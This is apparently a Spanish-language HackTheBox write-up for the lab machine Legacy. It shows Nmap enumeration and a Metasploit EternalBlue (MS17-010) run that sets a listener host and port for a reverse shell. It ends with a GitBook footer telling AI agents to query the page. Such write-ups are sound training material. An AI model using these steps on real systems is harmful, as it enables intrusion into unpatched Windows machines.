> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Writeup de Legacy en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración SMB
* Explotación de EternalBlue (MS17-010) (Triple Z Exploit)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/1443552fa11bffad3351b9f7e270a5e2bcabb71b" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/cc0409598d08ad1fefe9b4a5a0b7fb2b6e01c540" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.4 -oG allPorts
```

<figure><img src="/files/bd83b656fd06b904d2c111f10a18f4c88f03b1ae" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (135,139,445)

<figure><img src="/files/83a0331a40c47c99f9d010667b00d546fe555c2f" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
```

<figure><img src="/files/001dd5fa4dba326738511e30d557d159dcf5e847" alt=""><figcaption></figcaption></figure>

## Explotación de EternalBlue - SMB (MS17-010)

El análisis de Nmap nos dice que el servidor objetivo ejecuta una versión de Windows XP, lo que nos permite intentar explotar la vulnerabilidad MS17-010.

Lanzamos un escaneo de Nmap para comprobar la presencia de esta vulnerabilidad:

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Este escaneo confirma que la máquina es vulnerable a MS17-010.

<figure><img src="/files/8867d5eee4836300a8e4e0ce6582dab8c16c5b32" alt=""><figcaption></figcaption></figure>

### **Explotación con Metasploit**

Estamos buscando el exploit en Metasploit:

```
msfconsole 
search eternalblue 
```

Seleccionamos el primer exploit listado:

```
use 1
```

<figure><img src="/files/4bd1d6d6a08cc3323b6d6497419186d6df7a6630" alt=""><figcaption></figcaption></figure>

Configuramos las opciones:

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/d9496310645284eb8c7e29b84fa1778898f56771" alt="" width="563"><figcaption></figcaption></figure>

Luego lanzamos el exploit:

<figure><img src="/files/08521315dd6b147b58d12bfc57224f75298b8b06" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/c26c4b088037f882ba14d5ee4488ad064e742c9f" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/f2f856c301eeeb21a3f75ad00b391f846749b743" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/780e3416a6ee330e0691175d32df06ec4cc6c25a" alt="" width="514"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
